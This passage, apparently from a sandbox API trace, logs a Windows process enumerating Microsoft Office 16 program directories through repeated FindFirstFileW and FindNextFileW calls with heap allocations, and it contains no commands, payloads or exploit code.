nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0283.652] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.652] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf31b5d3e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf31b5d3e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafed902, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR8FR.DLL", cAlternateFileName="")) returned 1 [0283.652] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf31b5d3e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf31b5d3e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafed902, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR8FR.DLL", cAlternateFileName="")) returned 0 [0283.652] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0283.824] GetProcessHeap () returned 0xaf0000 [0283.824] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.824] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0283.825] GetProcessHeap () returned 0xaf0000 [0283.825] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\3082\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0283.825] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.825] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb039dcc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR8ES.DLL", cAlternateFileName="")) returned 1 [0283.825] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb039dcc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR8ES.DLL", cAlternateFileName="")) returned 0 [0283.826] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0283.826] GetProcessHeap () returned 0xaf0000 [0283.826] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.826] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1 [0283.826] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9328217, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x801fc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR8EN.LEX", cAlternateFileName="")) returned 1 [0283.826] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb039dcc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb039dcc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb039dcc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgr8es.dub", cAlternateFileName="")) returned 1 [0283.826] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb013b61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb013b61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb16b0a3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69217c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR8ES.LEX", cAlternateFileName="")) returned 1 [0283.826] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb0d2731, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb0d2731, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb0d2731, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgr8fr.dub", cAlternateFileName="")) returned 1 [0283.826] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb0d2731, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb0d2731, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb1dd7cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7740a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR8FR.LEX", cAlternateFileName="")) returned 1 [0283.826] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x266d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7EN.DLL", cAlternateFileName="")) returned 1 [0283.826] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb1dd7cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x74400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7EN.LEX", cAlternateFileName="")) returned 1 [0283.827] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b5bbeb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b5bbeb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7ES.DLL", cAlternateFileName="")) returned 1 [0283.827] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e0a643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb1dd7cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7ES.LEX", cAlternateFileName="")) returned 1 [0283.827] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefe4d066, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefebf763, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7FR.DLL", cAlternateFileName="")) returned 1 [0283.827] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9622ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9622ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb1dd7cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7FR.LEX", cAlternateFileName="")) returned 1 [0283.827] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5360180, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc5360180, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc5360180, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7EN.dub", cAlternateFileName="")) returned 1 [0283.827] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5360180, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc5360180, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd93746c2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x186200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7EN.LEX", cAlternateFileName="")) returned 1 [0283.827] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc53863b3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc53863b3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc53863b3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7ES.dub", cAlternateFileName="")) returned 1 [0283.827] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc54dd8eb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc54dd8eb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd943329c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ec600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7ES.LEX", cAlternateFileName="")) returned 1 [0283.827] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc541ed37, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc541ed37, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc541ed37, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7FR.dub", cAlternateFileName="")) returned 1 [0283.828] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc541ed37, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc541ed37, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd945950a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7FR.LEX", cAlternateFileName="")) returned 1 [0283.828] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc39bed4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc39bed4a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd52c882e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc64c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msspell7.dll", cAlternateFileName="")) returned 1 [0283.828] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefe00baf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb203a02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64068, dwReserved0=0x0, dwReserved1=0x0, cFileName="msth8EN.DLL", cAlternateFileName="")) returned 1 [0283.828] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msth8EN.LEX", cAlternateFileName="")) returned 1 [0283.828] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf03d07a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb29c380, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x63ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msth8ES.DLL", cAlternateFileName="")) returned 1 [0283.828] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cd4a32, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cd4a32, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x40b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msth8ES.LEX", cAlternateFileName="")) returned 1 [0283.828] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf43e3cb7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64068, dwReserved0=0x0, dwReserved1=0x0, cFileName="msth8FR.DLL", cAlternateFileName="")) returned 1 [0283.828] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf13e86a9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13e86a9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msth8FR.LEX", cAlternateFileName="")) returned 1 [0283.828] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf13e86a9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13e86a9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msth8FR.LEX", cAlternateFileName="")) returned 0 [0283.829] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0283.829] GetProcessHeap () returned 0xaf0000 [0283.829] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.830] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1 [0283.830] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd504421, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd504421, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd52a5db, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x78ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModelProxy.dll", cAlternateFileName="PROPER~2.DLL")) returned 1 [0283.830] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4f7cb47, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x10e0d0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PROPRPT.DLL", cAlternateFileName="")) returned 1 [0283.830] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2169a085, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe8450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="protocolhandler.exe", cAlternateFileName="PROTOC~1.EXE")) returned 1 [0283.830] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x7d7750, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae68, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PRTF9.DLL", cAlternateFileName="")) returned 1 [0283.830] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd504421, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd504421, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdecdccb3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x151448, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Psom.dll", cAlternateFileName="")) returned 1 [0283.830] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x270a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PSTPRX32.DLL", cAlternateFileName="")) returned 1 [0283.830] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc348b22, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc348b22, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdd01a5a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe7a68, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PTXT9.DLL", cAlternateFileName="")) returned 1 [0283.831] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBBA", cAlternateFileName="")) returned 1 [0283.831] GetProcessHeap () returned 0xaf0000 [0283.831] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.833] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, 